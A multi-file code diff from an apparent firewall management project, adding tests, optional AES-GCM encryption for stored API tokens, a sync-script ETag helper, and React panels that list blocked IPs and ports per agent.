const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'mt-no-acl', platform: 'mikrotik' },
})
const agentId = (created.json() as { agent_id: string }).agent_id
await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/approve`,
})
const create = await app.inject({
method: 'POST',
url: `/api/v1/agents/${agentId}/port-rules`,
payload: {
action: 'open',
protocol: 'tcp',
port_start: 443,
src_kind: 'all',
},
})
expect(create.statusCode).toBe(400)
})
})
@@ -0,0 +1,102 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import { repos } from '@evofw/db'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('stats retention + list pagination', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('deleteStatsSamplesBefore drops only old samples', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'retention-agent', platform: 'linux' },
})
const agentId = (created.json() as { agent_id: string }).agent_id
const iso = (daysAgo: number) =>
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
for (const daysAgo of [60, 45, 10, 0]) {
repos.insertStatsSample(app.db, {
id: crypto.randomUUID(),
agentId,
packetsDropped: daysAgo,
packetsAccepted: 0,
prefixCount: 0,
kernelMethod: null,
recordedAt: iso(daysAgo),
})
}
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
expect(deleted).toBe(2)
const remaining = repos.listStatsSamples(app.db, agentId, 100)
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
})
it('list endpoints return total and honor limit/offset', async () => {
const app = await appPromise
await app.ready()
for (const name of ['page-a', 'page-b', 'page-c']) {
await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
}
await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: { name: 'page-list', type: 'static' },
})
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
expect(all.statusCode).toBe(200)
const allBody = all.json() as { items: unknown[]; total: number }
expect(allBody.items.length).toBe(allBody.total)
const page = await app.inject({
method: 'GET',
url: '/api/v1/agents?limit=1&offset=1',
})
const pageBody = page.json() as { items: unknown[]; total: number }
expect(pageBody.items).toHaveLength(1)
expect(pageBody.total).toBe(allBody.total)
const lists = await app.inject({
method: 'GET',
url: '/api/v1/lists?limit=1',
})
const listsBody = lists.json() as { items: unknown[]; total: number }
expect(listsBody.items).toHaveLength(1)
expect(listsBody.total).toBeGreaterThanOrEqual(1)
})
})
+30 -3
View File
@@ -67,6 +67,21 @@ export function mapPolicySets(
export function mapPolicyRule( export function mapPolicyRule(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>, r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
db: Parameters<typeof repos.listResolvedForRule>[0], db: Parameters<typeof repos.listResolvedForRule>[0],
) {
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
}
function countResolved(
db: Parameters<typeof repos.listResolvedForRule>[0],
ruleIds: string[],
): Map<string, number> {
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
}
function mapPolicyRuleWithCounts(
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
resolvedCount: number | undefined,
) { ) {
return { return {
id: r.id, id: r.id,
@@ -77,11 +92,23 @@ export function mapPolicyRule(
list_id: r.listId, list_id: r.listId,
cidr: r.cidr, cidr: r.cidr,
hostname: r.hostname, hostname: r.hostname,
resolved_count: r.hostname resolved_count: resolvedCount,
? repos.listResolvedForRule(db, r.id).length
: undefined,
comment: r.comment, comment: r.comment,
created_at: r.createdAt, created_at: r.createdAt,
updated_at: r.updatedAt, updated_at: r.updatedAt,
} }
} }
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
export function mapPolicyRules(
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
db: Parameters<typeof repos.listResolvedForRule>[0],
) {
const counts = countResolved(
db,
rules.filter((r) => r.hostname).map((r) => r.id),
)
return rules.map((r) =>
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
)
}
@@ -0,0 +1,64 @@
import { describe, it, expect, afterEach } from 'vitest'
import {
encryptSecret,
decryptSecret,
isEncryptedSecret,
sealListConfig,
maskListConfig,
} from './secret-cipher.js'
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
afterEach(() => {
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
})
describe('secret-cipher', () => {
it('passes values through when no key is configured', () => {
delete process.env.EVOFW_SECRET_KEY
expect(encryptSecret('plain')).toBe('plain')
expect(decryptSecret('plain')).toBe('plain')
expect(isEncryptedSecret('plain')).toBe(false)
})
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
expect(enc).not.toContain('super-secret-token')
expect(enc.startsWith('enc:v1:')).toBe(true)
expect(decryptSecret(enc)).toBe('super-secret-token')
// already-encrypted values are not double-encrypted
expect(encryptSecret(enc)).toBe(enc)
})
it('returns null for encrypted values when the key is missing or wrong', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
delete process.env.EVOFW_SECRET_KEY
expect(decryptSecret(enc)).toBeNull()
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
expect(decryptSecret(enc)).toBeNull()
})
it('seals and masks list config api_token', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const sealed = sealListConfig({
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: 'abc',
})
expect(sealed).not.toContain('super-secret-token')
const parsed = JSON.parse(sealed) as { api_token: string }
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
const masked = maskListConfig(sealed)
expect(masked).toContain('********')
expect(masked).not.toContain('enc:v1:')
// configs without tokens pass through untouched
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
'{"api_url":"https://x"}',
)
})
})
+86
View File
@@ -0,0 +1,86 @@
import {
createCipheriv,
createDecipheriv,
randomBytes,
scryptSync,
} from 'node:crypto'
/**
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
* stored as before (plaintext) so existing deployments keep working.
*
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
* scrypt-derived per-value key.
*/
const PREFIX = 'enc:v1:'
function deriveKey(secret: string, salt: Buffer): Buffer {
return scryptSync(secret, salt, 32)
}
export function isEncryptedSecret(value: string): boolean {
return value.startsWith(PREFIX)
}
export function encryptSecret(value: string): string {
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret || !value || isEncryptedSecret(value)) return value
const salt = randomBytes(16)
const iv = randomBytes(12)
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
const tag = cipher.getAuthTag()
const payload = [salt, iv, tag, data]
.map((b) => b.toString('base64'))
.join(':')
return `${PREFIX}${payload}`
}
/**
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
* null for encrypted values that cannot be decrypted (key missing/rotated)
* so callers can treat the secret as unset instead of sending garbage.
*/
export function decryptSecret(value: string | null | undefined): string | null {
if (!value) return null
if (!isEncryptedSecret(value)) return value
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret) return null
const parts = value.split(':')
if (parts.length !== 6) return null
try {
const salt = Buffer.from(parts[2]!, 'base64')
const iv = Buffer.from(parts[3]!, 'base64')
const tag = Buffer.from(parts[4]!, 'base64')
const data = Buffer.from(parts[5]!, 'base64')
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
decipher.setAuthTag(tag)
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
} catch {
return null
}
}
/** Encrypt secrets inside a list config before persisting it. */
export function sealListConfig(config: Record<string, unknown>): string {
if (typeof config.api_token === 'string' && config.api_token) {
config = { ...config, api_token: encryptSecret(config.api_token) }
}
return JSON.stringify(config)
}
/** Mask secrets inside a list config before returning it to clients. */
export function maskListConfig(configJson: string): string {
if (!configJson.includes('api_token')) return configJson
try {
const config = JSON.parse(configJson) as Record<string, unknown>
if (typeof config.api_token === 'string' && config.api_token) {
config.api_token = '********'
}
return JSON.stringify(config)
} catch {
return configJson
}
}
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
} }
describe('settings + bumpAgentsForList', () => { describe('settings + bumpAgentsForList', () => {
+21
View File
@@ -0,0 +1,21 @@
import { describe, it, expect } from 'vitest'
import { ifNoneMatchHits, getSyncScriptMeta } from './sync-script.js'
describe('sync-script meta', () => {
it('hashes evofw-firewall.sh and matches ETag', () => {
const meta = getSyncScriptMeta()
expect(meta.sha256).toMatch(/^[a-f0-9]{64}$/)
expect(meta.etag).toBe(`"${meta.sha256}"`)
expect(meta.body.subarray(0, 2).toString()).toBe('#!')
})
it('ifNoneMatchHits understands quoted, weak, and star', () => {
const etag = '"abc"'
expect(ifNoneMatchHits('"abc"', etag)).toBe(true)
expect(ifNoneMatchHits('abc', etag)).toBe(true)
expect(ifNoneMatchHits('W/"abc"', etag)).toBe(true)
expect(ifNoneMatchHits('*', etag)).toBe(true)
expect(ifNoneMatchHits('"nope"', etag)).toBe(false)
expect(ifNoneMatchHits(undefined, etag)).toBe(false)
})
})
+39
View File
@@ -0,0 +1,39 @@
import { readFileSync } from 'node:fs'
import { createHash } from 'node:crypto'
import { join } from 'node:path'
import { resolveAgentScriptsDir } from './agent-scripts-path.js'
export type SyncScriptMeta = {
body: Buffer
sha256: string
etag: string
}
let cache: SyncScriptMeta | null = null
/** Linux sync agent script + sha256 of file bytes (process-lifetime cache). */
export function getSyncScriptMeta(): SyncScriptMeta {
if (cache) return cache
const dir = resolveAgentScriptsDir()
const body = readFileSync(join(dir, 'evofw-firewall.sh'))
const sha256 = createHash('sha256').update(body).digest('hex')
cache = { body, sha256, etag: `"${sha256}"` }
return cache
}
/** Compare If-None-Match with our ETag (`"<sha256>"`). */
export function ifNoneMatchHits(
header: string | string[] | undefined,
etag: string,
): boolean {
if (!header) return false
const raw = Array.isArray(header) ? header.join(',') : header
const want = etag.replaceAll('"', '').toLowerCase()
for (const part of raw.split(',')) {
let token = part.trim()
if (token.startsWith('W/')) token = token.slice(2).trim()
token = token.replaceAll('"', '')
if (token === '*' || token.toLowerCase() === want) return true
}
return false
}
View File
Whitespace-only changes.
+1
View File
@@ -7,6 +7,7 @@
"dev": "vite", "dev": "vite",
"build": "vite build", "build": "vite build",
"typecheck": "tsc --noEmit", "typecheck": "tsc --noEmit",
"test": "vitest run",
"preview": "vite preview" "preview": "vite preview"
}, },
"dependencies": { "dependencies": {
@@ -169,7 +169,9 @@ export function AddAgentSheet({ open, onOpenChange }: AddAgentSheetProps) {
title="Добавить агента" title="Добавить агента"
description="Создайте агента и короткую install-ссылку." description="Создайте агента и короткую install-ссылку."
form={form} form={form}
onSubmit={(values) => create.mutateAsync(values)} onSubmit={async (values) => {
await create.mutateAsync(values)
}}
footer={ footer={
<> <>
<Button <Button
@@ -0,0 +1,178 @@
import { useMemo } from 'react'
import { useQuery } from '@tanstack/react-query'
import {
getCoreRowModel,
useReactTable,
type ColumnDef,
} from '@tanstack/react-table'
import { BanIcon } from 'lucide-react'
import {
Frame,
FrameDescription,
FrameHeader,
FramePanel,
FrameTitle,
} from '@/components/reui/frame'
import { DataGrid } from '@/components/reui/data-grid/data-grid'
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedIpsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
* Preview: https://reui.io/preview/base/data-grid-filtering-2
* · https://reui.io/preview/base/empty-state-12
*/
export type BlockedIpPort = {
port: number
protocol: string
packets: number
}
export type BlockedIpRow = {
ip: string
packets: number
first_seen_at: string
last_seen_at: string
ports?: BlockedIpPort[]
}
type AgentBlockedIpsProps = {
agentId: string
platform: string
}
function formatPorts(ports: BlockedIpPort[] | undefined): string {
if (!ports?.length) return '—'
return ports
.map((p) => `${p.protocol}/${p.port}`)
.join(', ')
}
export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
const isMikrotik = platform === 'mikrotik'
const showPorts = !isMikrotik
const q = useQuery(agentBlockedIpsQueryOptions(agentId))
const packetsTitle = isMikrotik ? 'Hits' : 'Packets'
const description = isMikrotik
? 'Src /32 из EVOFW_HITS (add-src при deny, timeout 1h). Hits — входы в список (не каждый sync); Last seen обновляется, пока IP в hits.'
: 'Drop-пакеты по записям deny (nft/ipset). Top по накопленным packets. Ports — top-5 dport (nft).'
const columns = useMemo<ColumnDef<BlockedIpRow>[]>(() => {
const cols: ColumnDef<BlockedIpRow>[] = [
{
accessorKey: 'ip',
id: 'ip',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="IP / CIDR" />
),
cell: ({ row }) => (
<span className="font-mono text-xs tabular-nums">{row.original.ip}</span>
),
meta: { headerTitle: 'IP / CIDR' },
},
{
accessorKey: 'packets',
id: 'packets',
header: ({ column }) => (
<DataGridColumnHeader column={column} title={packetsTitle} />
),
cell: ({ row }) => (
<span className="tabular-nums">
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: packetsTitle },
},
]
if (showPorts) {
cols.push({
id: 'ports',
accessorFn: (row) => formatPorts(row.ports),
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Ports" />
),
cell: ({ row }) => (
<span className="font-mono text-muted-foreground text-xs">
{formatPorts(row.original.ports)}
</span>
),
meta: { headerTitle: 'Ports' },
})
}
cols.push({
accessorKey: 'last_seen_at',
id: 'last_seen_at',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Last seen" />
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
})
return cols
}, [packetsTitle, showPorts])
const data = q.data?.items ?? []
const table = useReactTable({
data,
columns,
getCoreRowModel: getCoreRowModel(),
getRowId: (r) => r.ip,
})
return (
<Frame dense spacing="sm">
<FrameHeader>
<FrameTitle>Blocked IPs</FrameTitle>
<FrameDescription>{description}</FrameDescription>
</FrameHeader>
<FramePanel className="p-0">
{q.isLoading ? (
<div className="flex flex-col gap-2 p-4">
<Skeleton className="h-8 w-full" />
<Skeleton className="h-8 w-full" />
<Skeleton className="h-8 w-2/3" />
</div>
) : q.isError ? (
<EmptyState
icon={BanIcon}
title="Не удалось загрузить"
description={q.error?.message ?? 'Ошибка API'}
centered={false}
className="py-8"
/>
) : data.length === 0 ? (
<EmptyState
icon={BanIcon}
title="Пока нет hit’ов"
description={
isMikrotik
? 'Когда трафик попадёт в EVOFW_DENY, src появится в EVOFW_HITS и здесь после sync.'
: 'Когда deny-префиксы начнут дропать пакеты, здесь появятся IP/CIDR с counters.'
}
centered={false}
className="py-8"
/>
) : (
<DataGrid
table={table}
recordCount={data.length}
tableLayout={{ dense: true }}
>
<DataGridTable />
</DataGrid>
)}
</FramePanel>
</Frame>
)
}
@@ -0,0 +1,155 @@
import { useMemo } from 'react'
import { useQuery } from '@tanstack/react-query'
import {
getCoreRowModel,
useReactTable,
type ColumnDef,
} from '@tanstack/react-table'
import { NetworkIcon } from 'lucide-react'
import {
Frame,
FrameDescription,
FrameHeader,
FramePanel,
FrameTitle,
} from '@/components/reui/frame'
import { DataGrid } from '@/components/reui/data-grid/data-grid'
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { EmptyState } from '@/components/empty-state'
import { agentBlockedPortsQueryOptions } from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import { formatNumber, formatStampDateTime } from '@/lib/format'
/**
* Aggregate destination ports hit by denied sources (Linux nft).
* Preview: https://reui.io/preview/base/data-grid-filtering-2
* · https://reui.io/preview/base/empty-state-12
*/
export type BlockedPortRow = {
port: number
protocol: string
packets: number
last_seen_at: string
}
type AgentBlockedPortsProps = {
agentId: string
}
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
const columns = useMemo<ColumnDef<BlockedPortRow>[]>(
() => [
{
accessorKey: 'port',
id: 'port',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Port" />
),
cell: ({ row }) => (
<span className="font-mono text-xs tabular-nums">
{row.original.port}
</span>
),
meta: { headerTitle: 'Port' },
},
{
accessorKey: 'protocol',
id: 'protocol',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Proto" />
),
cell: ({ row }) => (
<span className="font-mono text-xs uppercase">
{row.original.protocol}
</span>
),
meta: { headerTitle: 'Proto' },
},
{
accessorKey: 'packets',
id: 'packets',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Packets" />
),
cell: ({ row }) => (
<span className="tabular-nums">
{formatNumber(row.original.packets)}
</span>
),
meta: { headerTitle: 'Packets' },
},
{
accessorKey: 'last_seen_at',
id: 'last_seen_at',
header: ({ column }) => (
<DataGridColumnHeader column={column} title="Last seen" />
),
cell: ({ row }) => (
<span className="text-muted-foreground text-xs tabular-nums">
{formatStampDateTime(row.original.last_seen_at)}
</span>
),
meta: { headerTitle: 'Last seen' },
},
],
[],
)
const data = q.data?.items ?? []
const table = useReactTable({
data,
columns,
getCoreRowModel: getCoreRowModel(),
getRowId: (r) => `${r.protocol}/${r.port}`,
})
return (
<Frame dense spacing="sm">
<FrameHeader>
<FrameTitle>Top ports</FrameTitle>
<FrameDescription>
Destination ports (tcp/udp), в которые слали запросы blocked IP. nft
dynamic set deny_port_hits.
</FrameDescription>
</FrameHeader>
<FramePanel className="p-0">
{q.isLoading ? (
<div className="flex flex-col gap-2 p-4">
<Skeleton className="h-8 w-full" />
<Skeleton className="h-8 w-full" />
<Skeleton className="h-8 w-2/3" />
</div>
) : q.isError ? (
<EmptyState
icon={NetworkIcon}
title="Не удалось загрузить"
description={q.error?.message ?? 'Ошибка API'}
centered={false}
className="py-8"
/>
) : data.length === 0 ? (
<EmptyState
icon={NetworkIcon}
title="Пока нет port hit’ов"
description="Нужен nft + deny_port_hits. После drop с deny появятся tcp/udp dport. Re-run install-ссылки обновляет правила."
centered={false}
className="py-8"
/>
) : (
<DataGrid
table={table}
recordCount={data.length}
tableLayout={{ dense: true }}
>
<DataGridTable />
</DataGrid>
)}
</FramePanel>
</Frame>
)
}
+4 -27
View File
@@ -21,36 +21,13 @@ import {
} from '@evofw/ui/components/item' } from '@evofw/ui/components/item'
import { Separator } from '@evofw/ui/components/separator' import { Separator } from '@evofw/ui/components/separator'
import { cn } from '@evofw/ui/lib/utils' import { cn } from '@evofw/ui/lib/utils'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/** /**
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values. * Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12 * Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
*/ */
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatShort(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
type AgentCardProps = { type AgentCardProps = {
agent: Agent agent: Agent
selected?: boolean selected?: boolean
@@ -65,13 +42,13 @@ export function AgentCard({
onDelete, onDelete,
}: AgentCardProps) { }: AgentCardProps) {
const hasApply = agentHasTrafficSample(agent) const hasApply = agentHasTrafficSample(agent)
const dropped = formatPackets(agentTrafficDropped(agent), hasApply) const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply) const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
const traffic = const traffic =
dropped === '—' && accepted === '—' dropped === '—' && accepted === '—'
? '—' ? '—'
: `↓${dropped} · ↑${accepted}` : `↓${dropped} · ↑${accepted}`
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at) const seen = formatShortDateTime(agent.last_seen_at ?? agent.last_apply_at)
const defaultAction = const defaultAction =
agent.default_action === 'drop' ? 'Drop' : 'Accept' agent.default_action === 'drop' ? 'Drop' : 'Accept'
const subtitle = [ const subtitle = [
@@ -33,6 +33,11 @@ import { AgentPolicySetsSortable } from '@/components/agents/agent-policy-sets-s
import { AgentPolicyTrace } from '@/components/agents/agent-policy-trace' import { AgentPolicyTrace } from '@/components/agents/agent-policy-trace'
import { AgentFactsPanel } from '@/components/agents/agent-facts-panel' import { AgentFactsPanel } from '@/components/agents/agent-facts-panel'
import { AgentEffectiveCidrs } from '@/components/agents/agent-effective-cidrs' import { AgentEffectiveCidrs } from '@/components/agents/agent-effective-cidrs'
import { AgentBlockedIps } from '@/components/agents/agent-blocked-ips'
import { AgentBlockedPorts } from '@/components/agents/agent-blocked-ports'
import { AgentHostFirewall } from '@/components/agents/agent-host-firewall'
import { AgentPortAcl } from '@/components/agents/agent-port-acl'
import { CountedLineTabs } from '@/components/counted-line-tabs'
import { import {
AgentCloneSetsSheet, AgentCloneSetsSheet,
AgentOverrideSheet, AgentOverrideSheet,
@@ -45,6 +50,7 @@ import { apiFetch } from '@/lib/api'
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard' import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
import { Button } from '@evofw/ui/components/button' import { Button } from '@evofw/ui/components/button'
import { Skeleton } from '@evofw/ui/components/skeleton' import { Skeleton } from '@evofw/ui/components/skeleton'
import { TabsContent } from '@evofw/ui/components/tabs'
import { import {
DropdownMenu, DropdownMenu,
DropdownMenuContent, DropdownMenuContent,
@@ -73,6 +79,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
const installRef = useRef<HTMLDivElement>(null) const installRef = useRef<HTMLDivElement>(null)
const [overrideOpen, setOverrideOpen] = useState(false) const [overrideOpen, setOverrideOpen] = useState(false)
const [cloneOpen, setCloneOpen] = useState(false) const [cloneOpen, setCloneOpen] = useState(false)
const [fwTab, setFwTab] = useState('host')
const revoke = useMutation({ const revoke = useMutation({
mutationFn: () => mutationFn: () =>
@@ -102,6 +109,8 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
void qc.invalidateQueries({ queryKey: ['agents'] }) void qc.invalidateQueries({ queryKey: ['agents'] })
void qc.invalidateQueries({ queryKey: ['agents', agentId] }) void qc.invalidateQueries({ queryKey: ['agents', agentId] })
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] }) void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] })
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ips'] })
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ports'] })
void qc.invalidateQueries({ queryKey: ['stats'] }) void qc.invalidateQueries({ queryKey: ['stats'] })
void qc.invalidateQueries({ queryKey: ['dashboard'] }) void qc.invalidateQueries({ queryKey: ['dashboard'] })
}, },
@@ -317,6 +326,39 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
preview={previewQ.data} preview={previewQ.data}
isLoading={previewQ.isLoading} isLoading={previewQ.isLoading}
/> />
{a.platform === 'linux' ? (
<div className="flex flex-col gap-3">
<CountedLineTabs
value={fwTab}
onValueChange={setFwTab}
tabs={[
{ id: 'host', label: 'Host firewall' },
{ id: 'acl', label: 'Port ACL' },
{ id: 'hits', label: 'Blocked' },
]}
>
<TabsContent value="host" className="mt-3">
<AgentHostFirewall agentId={agentId} />
</TabsContent>
<TabsContent value="acl" className="mt-3">
<AgentPortAcl agentId={agentId} />
</TabsContent>
<TabsContent
value="hits"
className="mt-3 flex flex-col gap-4"
>
<AgentBlockedPorts agentId={agentId} />
<AgentBlockedIps
agentId={agentId}
platform={a.platform}
/>
</TabsContent>
</CountedLineTabs>
</div>
) : (
<AgentBlockedIps agentId={agentId} platform={a.platform} />
)}
</div> </div>
</DetailPanel.Section> </DetailPanel.Section>
</DetailPanel> </DetailPanel>
@@ -18,6 +18,7 @@ import {
SelectValue, SelectValue,
} from '@evofw/ui/components/select' } from '@evofw/ui/components/select'
import { Separator } from '@evofw/ui/components/separator' import { Separator } from '@evofw/ui/components/separator'
import { formatDateTime } from '@/lib/format'
/** /**
* Agent facts panel — SA3 RunFacts DNA (editable default_action). * Agent facts panel — SA3 RunFacts DNA (editable default_action).
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
function formatWhen(iso?: string | null): string { function formatWhen(iso?: string | null): string {
if (!iso) return '—' if (!iso) return '—'
const d = new Date(iso) return formatDateTime(iso)
if (Number.isNaN(d.getTime())) return iso
return d.toLocaleString('ru-RU')
} }
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) { export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
@@ -26,6 +26,7 @@ import {
TooltipContent, TooltipContent,
TooltipTrigger, TooltipTrigger,
} from '@evofw/ui/components/tooltip' } from '@evofw/ui/components/tooltip'
import { formatPackets, formatShortDateTime } from '@/lib/format'
/** /**
* Fleet triage DataGrid — firewall ops density. * Fleet triage DataGrid — firewall ops density.
@@ -34,30 +35,6 @@ import {
* · https://reui.io/preview/base/solution-agents-1 * · https://reui.io/preview/base/solution-agents-1
*/ */
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
function formatPackets(n: number | undefined, hasApply: boolean): string {
if (!hasApply || n === undefined) return '—'
return packetFmt.format(n)
}
function formatAgentSeen(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return seenFmt.format(t)
}
export type AgentFleetDataGridProps = { export type AgentFleetDataGridProps = {
data: Agent[] data: Agent[]
filterFields: FilterFieldConfig[] filterFields: FilterFieldConfig[]
@@ -231,8 +208,8 @@ export function AgentFleetDataGrid({
cell: ({ row }) => { cell: ({ row }) => {
const a = row.original const a = row.original
const hasApply = agentHasTrafficSample(a) const hasApply = agentHasTrafficSample(a)
const dropped = formatPackets(agentTrafficDropped(a), hasApply) const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
const accepted = formatPackets(agentTrafficAccepted(a), hasApply) const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
if (dropped === '—' && accepted === '—') { if (dropped === '—' && accepted === '—') {
return <DataGridMutedCell>—</DataGridMutedCell> return <DataGridMutedCell>—</DataGridMutedCell>
} }
@@ -255,7 +232,7 @@ export function AgentFleetDataGrid({
), ),
cell: ({ row }) => { cell: ({ row }) => {
const a = row.original const a = row.original
const short = formatAgentSeen(a.last_seen_at) const short = formatShortDateTime(a.last_seen_at)
if (!a.last_seen_at || short === '—') { if (!a.last_seen_at || short === '—') {
return <DataGridMutedCell>—</DataGridMutedCell> return <DataGridMutedCell>—</DataGridMutedCell>
} }
@@ -0,0 +1,330 @@
import { useMemo, useState } from 'react'
import { useQuery } from '@tanstack/react-query'
import {
getCoreRowModel,
useReactTable,
type ColumnDef,
} from '@tanstack/react-table'
import { ShieldIcon } from 'lucide-react'
import {
Frame,
FrameDescription,
FrameHeader,
FramePanel,
FrameTitle,
} from '@/components/reui/frame'
import { DataGrid } from '@/components/reui/data-grid/data-grid'
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
import { Badge } from '@/components/reui/badge'
import { EmptyState } from '@/components/empty-state'
import { CountedLineTabs } from '@/components/counted-line-tabs'
import {
agentHostFirewallQueryOptions,
type HostFwRuleDto,
type HostListenerDto,
} from '@/queries'
import { Skeleton } from '@evofw/ui/components/skeleton'
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from '@evofw/ui/components/select'
import { TabsContent } from '@evofw/ui/components/tabs'
import { formatDateTime } from '@/lib/format'
/**
